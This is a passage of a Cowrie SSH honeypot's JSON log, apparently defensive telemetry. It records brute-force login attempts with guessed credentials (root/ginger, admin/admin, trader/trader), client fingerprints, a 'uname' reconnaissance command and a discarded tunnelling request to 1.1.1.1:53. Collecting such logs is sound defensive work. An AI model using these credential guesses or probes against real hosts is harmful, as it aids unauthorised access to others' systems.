0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:10.827053Z","src_ip":"83.168.110.85","session":"809227e5d377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:11.353043Z","src_ip":"83.168.110.85","session":"809227e5d377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:12.476993Z","src_ip":"83.168.110.85","session":"809227e5d377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":33692,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0ff5bf0b670","protocol":"ssh","message":"New connection: 193.37.70.224:33692 (159.203.135.109:22) [session: d0ff5bf0b670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:17.854358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:17.865205Z","src_ip":"193.37.70.224","session":"d0ff5bf0b670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:17.960012Z","src_ip":"193.37.70.224","session":"d0ff5bf0b670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ginger","message":"login attempt [root/ginger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:18.317308Z","src_ip":"193.37.70.224","session":"d0ff5bf0b670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:19.415350Z","src_ip":"193.37.70.224","session":"d0ff5bf0b670","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":35170,"dst_ip":"159.203.135.109","dst_port":22,"session":"10745d11de72","protocol":"ssh","message":"New connection: 83.168.110.85:35170 (159.203.135.109:22) [session: 10745d11de72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:20.963674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:20.968529Z","src_ip":"83.168.110.85","session":"10745d11de72","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:21.089911Z","src_ip":"83.168.110.85","session":"10745d11de72","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:21.613908Z","src_ip":"83.168.110.85","session":"10745d11de72","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:22.738796Z","src_ip":"83.168.110.85","session":"10745d11de72","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33200,"dst_ip":"159.203.135.109","dst_port":22,"session":"72fd268752f5","protocol":"ssh","message":"New connection: 83.168.110.85:33200 (159.203.135.109:22) [session: 72fd268752f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:31.615683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:31.620722Z","src_ip":"83.168.110.85","session":"72fd268752f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:31.741721Z","src_ip":"83.168.110.85","session":"72fd268752f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:32.105105Z","src_ip":"83.168.110.85","session":"72fd268752f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:33.257794Z","src_ip":"83.168.110.85","session":"72fd268752f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":59828,"dst_ip":"159.203.135.109","dst_port":22,"session":"99b58aa2fec1","protocol":"ssh","message":"New connection: 83.168.110.85:59828 (159.203.135.109:22) [session: 99b58aa2fec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:41.773546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:41.809386Z","src_ip":"83.168.110.85","session":"99b58aa2fec1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:41.916606Z","src_ip":"83.168.110.85","session":"99b58aa2fec1","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:42.370161Z","src_ip":"83.168.110.85","session":"99b58aa2fec1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:42.662035Z","src_ip":"83.168.110.85","session":"99b58aa2fec1","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:42.665800Z","src_ip":"83.168.110.85","session":"99b58aa2fec1","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:42.790810Z","src_ip":"83.168.110.85","session":"99b58aa2fec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:42.795785Z","src_ip":"83.168.110.85","session":"99b58aa2fec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":8244,"dst_ip":"10.17.0.5","dst_port":22,"session":"e88002cf6131","protocol":"ssh","message":"New connection: 87.251.64.176:8244 (10.17.0.5:22) [session: e88002cf6131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:44.503865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:44.550720Z","src_ip":"87.251.64.176","session":"e88002cf6131","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:44.638052Z","src_ip":"87.251.64.176","session":"e88002cf6131","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:45.173332Z","src_ip":"87.251.64.176","session":"e88002cf6131","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:45.338723Z","session":"e88002cf6131","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:45.436790Z","src_ip":"87.251.64.176","session":"e88002cf6131","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:45.735094Z","src_ip":"87.251.64.176","session":"e88002cf6131","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41252,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a61da4ff658","protocol":"ssh","message":"New connection: 83.168.110.85:41252 (159.203.135.109:22) [session: 6a61da4ff658]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:52.270463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:52.361119Z","src_ip":"83.168.110.85","session":"6a61da4ff658","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:52.414037Z","src_ip":"83.168.110.85","session":"6a61da4ff658","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password","message":"login attempt [ubuntu/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:52.883713Z","src_ip":"83.168.110.85","session":"6a61da4ff658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:54.010377Z","src_ip":"83.168.110.85","session":"6a61da4ff658","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":49444,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e15d87c9256","protocol":"ssh","message":"New connection: 77.94.47.83:49444 (159.203.135.109:22) [session: 2e15d87c9256]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:57.800113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:57.804843Z","src_ip":"77.94.47.83","session":"2e15d87c9256","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:57.925251Z","src_ip":"77.94.47.83","session":"2e15d87c9256","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"78945612","message":"login attempt [root/78945612] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:58.284541Z","src_ip":"77.94.47.83","session":"2e15d87c9256","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:12:59.407213Z","src_ip":"77.94.47.83","session":"2e15d87c9256","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47780,"dst_ip":"159.203.135.109","dst_port":22,"session":"5378600e6b84","protocol":"ssh","message":"New connection: 83.168.110.85:47780 (159.203.135.109:22) [session: 5378600e6b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:02.648018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:02.791132Z","src_ip":"83.168.110.85","session":"5378600e6b84","protocol":"ssh"}
